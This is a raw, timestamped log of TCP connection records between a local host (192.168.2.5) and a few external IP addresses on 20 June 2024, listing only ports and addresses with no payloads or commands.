Jun 20, 2024 15:38:19.798866987 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.798892975 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.798901081 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.798907995 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.798937082 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.798973083 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.798983097 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.799005985 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.799006939 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.799058914 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.799092054 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.799099922 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.799113035 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.799125910 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.799160957 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.799184084 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.799184084 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.799194098 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.799220085 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.799251080 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.799285889 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.799319029 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.799352884 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.799371004 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.799371004 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.799386978 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.799446106 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.799446106 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.799448967 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.799499989 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.799506903 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.799536943 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.799570084 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.799593925 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.799602985 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.799638033 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.799643040 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.799643040 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.799671888 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.799701929 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.799705982 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.799715042 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.799741030 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.799753904 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.799840927 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.800235033 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.800270081 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.800323009 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.800370932 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.800370932 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.800379038 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.800431013 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.800463915 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.800499916 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.800513983 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.800523043 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.800553083 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.800604105 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.800621033 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.800659895 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.800694942 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.800719976 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.800728083 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.800760984 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.800767899 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.800795078 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.800827980 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.800839901 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.800862074 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.800894976 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.800930023 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.800959110 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.800959110 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.800962925 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.800997019 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801029921 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801044941 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.801064014 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801093102 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801107883 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.801107883 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.801126003 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801160097 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801178932 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801192999 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.801197052 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801213026 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801214933 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.801214933 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.801229954 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801244974 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801251888 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.801251888 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.801259995 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801275015 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801289082 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.801289082 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.801294088 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801311016 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801318884 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.801318884 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.801326036 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801341057 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801356077 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801371098 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801371098 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.801371098 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.801387072 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801403046 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801419020 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.801419020 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801419020 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.801435947 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801450968 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801465988 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.801465988 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.801465988 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.801506996 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.801506996 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.802267075 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.803077936 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.808171988 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.808788061 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809108973 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809125900 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809144020 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809181929 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809236050 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809266090 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809282064 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809298992 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809314966 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809314966 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809350014 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809350014 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809350014 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809438944 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809454918 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809472084 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809488058 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809495926 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809495926 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809504986 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809520006 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809521914 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809540033 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809540987 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809540987 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809557915 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809575081 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809580088 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809580088 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809593916 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809609890 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809627056 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809640884 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809640884 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809643030 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809659004 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809675932 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809688091 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809688091 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809695005 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809710979 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809720039 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809720039 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809739113 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809753895 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809763908 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809763908 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809770107 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809788942 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809804916 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809804916 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809804916 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809834957 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809843063 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809843063 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809853077 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809869051 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809885025 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809904099 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809911013 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809911013 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809951067 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809951067 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.809959888 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809976101 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.809990883 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.810007095 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.810022116 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.810024023 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.810039997 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.810055971 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.810060024 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.810060024 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.810072899 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.810100079 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.810102940 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.810102940 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.810110092 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.810117006 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.810133934 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.810152054 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.810174942 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.810174942 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.810220003 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.810878038 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.810894966 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.810911894 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.810937881 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.810991049 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.811048985 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.811064959 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.811080933 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.811095953 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.811113119 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.811129093 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.811140060 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.811146021 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.811161041 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.811173916 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.811173916 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.811187983 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.811204910 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.811207056 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.811220884 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.811237097 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.811250925 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.811250925 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.811254978 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.811260939 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.811279058 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.811296940 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.811311960 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.811311960 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.811327934 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.811332941 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.811332941 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.811343908 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.811357975 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.811357975 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.811361074 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.811378956 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.811388016 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.811414957 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.811465025 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.965692043 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.965845108 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.966547966 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.971537113 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:20.188966990 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:20.189409018 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:20.301234961 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:20.301625013 CEST	49722	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:20.306536913 CEST	80	49722	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:20.306638002 CEST	49722	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:20.307415962 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:20.307487011 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:20.311372995 CEST	49722	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:20.316373110 CEST	80	49722	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:20.767385006 CEST	49714	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:20.767644882 CEST	49723	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:20.844856977 CEST	80	49723	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:20.844887972 CEST	80	49714	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:20.844943047 CEST	49723	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:20.844966888 CEST	49714	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:20.869992971 CEST	49723	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:20.875267982 CEST	80	49723	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:21.022362947 CEST	80	49722	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:21.022648096 CEST	49722	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:21.023179054 CEST	49722	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:21.035784960 CEST	80	49722	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:21.257904053 CEST	80	49722	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:21.257987976 CEST	49722	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:21.361833096 CEST	49722	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:21.363946915 CEST	49724	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:21.369664907 CEST	80	49724	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:21.370263100 CEST	80	49722	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:21.370347023 CEST	49722	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:21.370347023 CEST	49724	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:21.370713949 CEST	49724	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:21.376796961 CEST	80	49724	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:21.532202959 CEST	80	49723	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:21.532270908 CEST	49723	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:21.652087927 CEST	49723	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:21.652508974 CEST	49725	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:21.657799959 CEST	80	49725	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:21.657907963 CEST	49725	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:21.658596992 CEST	80	49723	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:21.658643961 CEST	49723	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:21.667084932 CEST	49725	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:21.672116041 CEST	80	49725	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:21.779289961 CEST	49726	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:21.784883976 CEST	58709	49726	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:21.784982920 CEST	49726	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:21.819117069 CEST	49726	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:21.824043036 CEST	58709	49726	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:22.079864025 CEST	80	49724	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:22.080115080 CEST	49724	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:22.080733061 CEST	49724	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:22.089006901 CEST	80	49724	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:22.305326939 CEST	80	49724	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:22.305403948 CEST	49724	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:22.356610060 CEST	80	49725	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:22.356684923 CEST	49725	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:22.357395887 CEST	49725	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:22.362561941 CEST	80	49725	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:22.372348070 CEST	58709	49726	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:22.407083035 CEST	49724	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:22.407433033 CEST	49727	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:22.416311979 CEST	80	49727	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:22.416404009 CEST	49727	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:22.416513920 CEST	49727	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:22.416865110 CEST	80	49724	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:22.416963100 CEST	49724	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:22.421828985 CEST	80	49727	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:22.421889067 CEST	49726	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:22.571985960 CEST	80	49725	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:22.572087049 CEST	49725	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:22.688676119 CEST	49725	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:22.689042091 CEST	49728	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:22.694562912 CEST	80	49725	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:22.694629908 CEST	49725	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:22.695066929 CEST	80	49728	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:22.695210934 CEST	49728	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:22.695343971 CEST	49728	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:22.700206041 CEST	80	49728	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:23.278686047 CEST	80	49727	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:23.280886889 CEST	49727	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:23.298480988 CEST	49727	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:23.304915905 CEST	80	49727	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:23.414655924 CEST	80	49728	147.45.47.155	192.168.2.5
